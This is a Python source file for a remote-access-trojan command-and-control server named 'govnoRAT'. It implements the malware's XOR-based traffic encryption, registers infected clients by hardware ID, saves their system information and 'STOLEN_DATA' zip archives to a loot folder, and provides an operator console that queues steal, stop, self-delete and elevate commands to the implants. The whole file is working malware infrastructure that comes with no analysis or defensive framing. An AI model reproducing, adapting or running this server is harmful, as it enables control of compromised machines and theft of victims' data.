257 lines
8.5 KiB
Python
257 lines
8.5 KiB
Python
#!/usr/bin/env python3
|
|||
|
|
|
||
|
|
import asyncio
|
||
|
|
import base64
|
||
|
|
import json
|
||
|
|
import hashlib
|
||
|
|
import os
|
||
|
|
import sys
|
||
|
|
import threading
|
||
|
|
import uuid
|
||
|
|
from datetime import datetime
|
||
|
|
from pathlib import Path
|
||
|
|
from aiohttp import web
|
||
|
|
|
||
|
|
HOST = "0.0.0.0"
|
||
|
|
PORT = 80
|
||
|
|
LOOT_DIR = Path("loot")
|
||
|
|
LOOT_DIR.mkdir(exist_ok=True)
|
||
|
|
|
||
|
|
def rolling_xor_decode(data):
|
||
|
|
result = bytearray(data)
|
||
|
|
for i in range(len(result) - 1, 0, -1):
|
||
|
|
result[i] ^= result[i - 1]
|
||
|
|
return bytes(result)
|
||
|
|
|
||
|
|
def rolling_xor_encode(data):
|
||
|
|
result = bytearray(data)
|
||
|
|
for i in range(1, len(result)):
|
||
|
|
result[i] ^= result[i - 1]
|
||
|
|
return bytes(result)
|
||
|
|
|
||
|
|
def xor_with_key(data, key):
|
||
|
|
return bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
|
||
|
|
|
||
|
|
XOR_KEY = bytes.fromhex("d0af20d0bbd18ed0b1d0bbd18e20d181d0bed181d0b0d182d18c")
|
||
|
|
|
||
|
|
def decrypt_mode5(data):
|
||
|
|
"""
|
||
|
|
Mode 5 = XOR_key -> Rolling_Encode
|
||
|
|
decrypt = Rolling_Decode -> XOR_key
|
||
|
|
"""
|
||
|
|
step1 = rolling_xor_decode(data)
|
||
|
|
step2 = xor_with_key(step1, XOR_KEY)
|
||
|
|
return step2
|
||
|
|
|
||
|
|
def encrypt_mode5(data):
|
||
|
|
step1 = xor_with_key(data, XOR_KEY)
|
||
|
|
step2 = rolling_xor_encode(step1)
|
||
|
|
return step2
|
||
|
|
|
||
|
|
def prepare_mode5_response(plaintext):
|
||
|
|
return decrypt_mode5(plaintext)
|
||
|
|
|
||
|
|
pending_command = None
|
||
|
|
clients = {}
|
||
|
|
|
||
|
|
def log(msg, level="INFO"):
|
||
|
|
timestamp = datetime.now().strftime("%H:%M:%S")
|
||
|
|
colors = {"INFO": "\033[92m", "WARN": "\033[93m", "ERROR": "\033[91m", "DATA": "\033[96m", "CONN": "\033[95m", "CMD": "\033[94m"}
|
||
|
|
print(f"{colors.get(level, '')}[{timestamp}] [{level}] {msg}\033[0m")
|
||
|
|
|
||
|
|
def save_important(client_id, data_type, data, ext="bin"):
|
||
|
|
client_dir = LOOT_DIR / client_id.replace(":", "_").replace(".", "_")
|
||
|
|
client_dir.mkdir(exist_ok=True)
|
||
|
|
|
||
|
|
timestamp = datetime.now().strftime("%H%M%S")
|
||
|
|
filepath = client_dir / f"{timestamp}_{data_type}.{ext}"
|
||
|
|
|
||
|
|
mode = "w" if isinstance(data, str) else "wb"
|
||
|
|
with open(filepath, mode, encoding="utf-8" if isinstance(data, str) else None) as f:
|
||
|
|
f.write(data)
|
||
|
|
|
||
|
|
log(f"SAVED: {filepath}", "WARN")
|
||
|
|
return filepath
|
||
|
|
|
||
|
|
async def handle_request(request):
|
||
|
|
global pending_command
|
||
|
|
|
||
|
|
client_ip = request.remote
|
||
|
|
data = await request.read()
|
||
|
|
|
||
|
|
if not data:
|
||
|
|
return web.Response(text="OK")
|
||
|
|
|
||
|
|
# Decrypt
|
||
|
|
request_type = "1"
|
||
|
|
hwid = ""
|
||
|
|
|
||
|
|
try:
|
||
|
|
decrypted = decrypt_mode5(data)
|
||
|
|
|
||
|
|
if decrypted[:2] == b'PK':
|
||
|
|
log(f"!!! STOLEN DATA RECEIVED (ZIP) - {len(decrypted)} bytes !!!", "WARN")
|
||
|
|
save_important(client_ip, "STOLEN_DATA", decrypted, "zip")
|
||
|
|
return web.Response(body=prepare_mode5_response(b'1'), content_type="application/octet-stream")
|
||
|
|
|
||
|
|
try:
|
||
|
|
req = json.loads(decrypted)
|
||
|
|
# Debug: show raw request for type 6
|
||
|
|
if str(req.get("1", "")) == "6":
|
||
|
|
log(f"TYPE 6 RAW: {decrypted[:500]}", "DATA")
|
||
|
|
request_type = str(req.get("1", "1"))
|
||
|
|
hwid = req.get("k", req.get("2", ""))
|
||
|
|
|
||
|
|
if request_type not in ["1", "2", "5", "7"]:
|
||
|
|
log(f"REQUEST TYPE: {request_type}, keys: {list(req.keys())}", "DATA")
|
||
|
|
|
||
|
|
if hwid and hwid not in clients:
|
||
|
|
clients[hwid] = {"ip": client_ip, "first": datetime.now()}
|
||
|
|
log(f"NEW CLIENT: {hwid}", "WARN")
|
||
|
|
|
||
|
|
if request_type == "5" and "3" in req:
|
||
|
|
sysinfo = req["3"]
|
||
|
|
log(f"SYSINFO: {sysinfo[:100]}...", "WARN")
|
||
|
|
save_important(client_ip, "sysinfo", sysinfo, "json")
|
||
|
|
|
||
|
|
if request_type == "6" and "3" in req:
|
||
|
|
try:
|
||
|
|
stolen_b64 = req["3"]
|
||
|
|
log(f"Base64 length: {len(stolen_b64)}", "DATA")
|
||
|
|
stolen_data = base64.b64decode(stolen_b64)
|
||
|
|
log(f"!!! STOLEN DATA (type 6) - {len(stolen_data)} bytes !!!", "WARN")
|
||
|
|
# Check if valid ZIP
|
||
|
|
if stolen_data[:2] == b'PK':
|
||
|
|
log(f"Valid ZIP file received!", "WARN")
|
||
|
|
save_important(client_ip, "STOLEN_DATA", stolen_data, "zip")
|
||
|
|
else:
|
||
|
|
log(f"Not a ZIP, first bytes: {stolen_data[:20].hex()}", "DATA")
|
||
|
|
save_important(client_ip, "STOLEN_DATA", stolen_data, "bin")
|
||
|
|
except Exception as e:
|
||
|
|
log(f"Failed to decode stolen data: {e}", "ERROR")
|
||
|
|
|
||
|
|
# Handle error/log (type 7)
|
||
|
|
if request_type == "7":
|
||
|
|
log(f"CLIENT LOG: {req.get('3', '')[:200]}", "DATA")
|
||
|
|
|
||
|
|
except json.JSONDecodeError:
|
||
|
|
log(f"Non-JSON data: {len(decrypted)} bytes", "DATA")
|
||
|
|
|
||
|
|
except Exception as e:
|
||
|
|
log(f"Error: {e}", "ERROR")
|
||
|
|
|
||
|
|
# Prepare response
|
||
|
|
if request_type == "1":
|
||
|
|
response = b'{"1":0,"2":50}'
|
||
|
|
log(f"[HEARTBEAT] OK", "CMD")
|
||
|
|
|
||
|
|
elif request_type == "2":
|
||
|
|
if pending_command:
|
||
|
|
cmd = pending_command
|
||
|
|
pending_command = None
|
||
|
|
|
||
|
|
task_id = str(uuid.uuid4())[:8]
|
||
|
|
if cmd == "9":
|
||
|
|
# STEAL needs "2" = path (00 default), "3" = taskid
|
||
|
|
response = f'{{"1":"9","2":"00","3":"{task_id}"}}'.encode()
|
||
|
|
else:
|
||
|
|
response = f'{{"1":"{cmd}","2":"","3":"{task_id}"}}'.encode()
|
||
|
|
log(f">>> SENDING: {response.decode()} <<<", "WARN")
|
||
|
|
else:
|
||
|
|
response = b'{"1":""}'
|
||
|
|
|
||
|
|
elif request_type == "5":
|
||
|
|
response = b'{"1":0,"2":0}'
|
||
|
|
|
||
|
|
elif request_type == "6":
|
||
|
|
log(f"!!! TYPE 6 - STOLEN DATA RECEIVED !!!", "WARN")
|
||
|
|
response = b'1'
|
||
|
|
|
||
|
|
elif request_type == "7":
|
||
|
|
response = b'{"1":0,"2":0}'
|
||
|
|
|
||
|
|
else:
|
||
|
|
response = b'{"1":0,"2":0}'
|
||
|
|
|
||
|
|
return web.Response(
|
||
|
|
body=prepare_mode5_response(response),
|
||
|
|
content_type="application/octet-stream"
|
||
|
|
)
|
||
|
|
|
||
|
|
def cli_thread():
|
||
|
|
global pending_command
|
||
|
|
|
||
|
|
print("\n" + "="*50)
|
||
|
|
print("https://t.me/neverliet_projects - Commands:")
|
||
|
|
print(" steal - Send STEAL command")
|
||
|
|
print(" stop - Stop malware")
|
||
|
|
print(" suicide - Self-delete malware")
|
||
|
|
print(" clients - Show clients")
|
||
|
|
print(" loot - Show loot")
|
||
|
|
print(" exit - Exit")
|
||
|
|
print("="*50 + "\n")
|
||
|
|
|
||
|
|
while True:
|
||
|
|
try:
|
||
|
|
cmd = input("\033[94m[C2]>\033[0m ").strip().lower()
|
||
|
|
|
||
|
|
if cmd == "steal":
|
||
|
|
pending_command = "9"
|
||
|
|
print(">>> STEAL command queued!")
|
||
|
|
elif cmd == "stop":
|
||
|
|
pending_command = "3"
|
||
|
|
print(">>> STOP command queued!")
|
||
|
|
elif cmd == "suicide":
|
||
|
|
pending_command = "4"
|
||
|
|
print(">>> SUICIDE command queued!")
|
||
|
|
elif cmd == "elevate":
|
||
|
|
pending_command = "b"
|
||
|
|
print(">>> ELEVATE command queued!")
|
||
|
|
elif cmd == "clients":
|
||
|
|
if clients:
|
||
|
|
for h, i in clients.items():
|
||
|
|
print(f" {h}: {i['ip']}")
|
||
|
|
else:
|
||
|
|
print(" No clients yet")
|
||
|
|
elif cmd == "loot":
|
||
|
|
files = list(LOOT_DIR.rglob("*"))
|
||
|
|
if files:
|
||
|
|
for f in files:
|
||
|
|
if f.is_file():
|
||
|
|
print(f" {f.relative_to(LOOT_DIR)} ({f.stat().st_size} bytes)")
|
||
|
|
else:
|
||
|
|
print(" No loot yet")
|
||
|
|
elif cmd == "exit":
|
||
|
|
os._exit(0)
|
||
|
|
elif cmd:
|
||
|
|
print(f"Unknown: {cmd}")
|
||
|
|
|
||
|
|
except (KeyboardInterrupt, EOFError):
|
||
|
|
pass
|
||
|
|
|
||
|
|
def main():
|
||
|
|
print(f"""
|
||
|
|
╔════════════════════════════════════════════╗
|
||
|
|
║ govnoRAT C2 SERVER ║
|
||
|
|
║ Port: {PORT} ║
|
||
|
|
║ Loot: ./loot/ ║
|
||
|
|
╚════════════════════════════════════════════╝
|
||
|
|
""")
|
||
|
|
|
||
|
|
log(f"Starting on {HOST}:{PORT}", "INFO")
|
||
|
|
|
||
|
|
app = web.Application(client_max_size=100*1024*1024)
|
||
|
|
app.router.add_route("*", "/{path:.*}", handle_request)
|
||
|
|
|
||
|
|
cli = threading.Thread(target=cli_thread, daemon=True)
|
||
|
|
cli.start()
|
||
|
|
|
||
|
|
try:
|
||
|
|
web.run_app(app, host=HOST, port=PORT, print=None)
|
||
|
|
except PermissionError:
|
||
|
|
log("Permission denied! Run as Administrator", "ERROR")
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
if __name__ == "__main__":
|
||
|
|
main()
|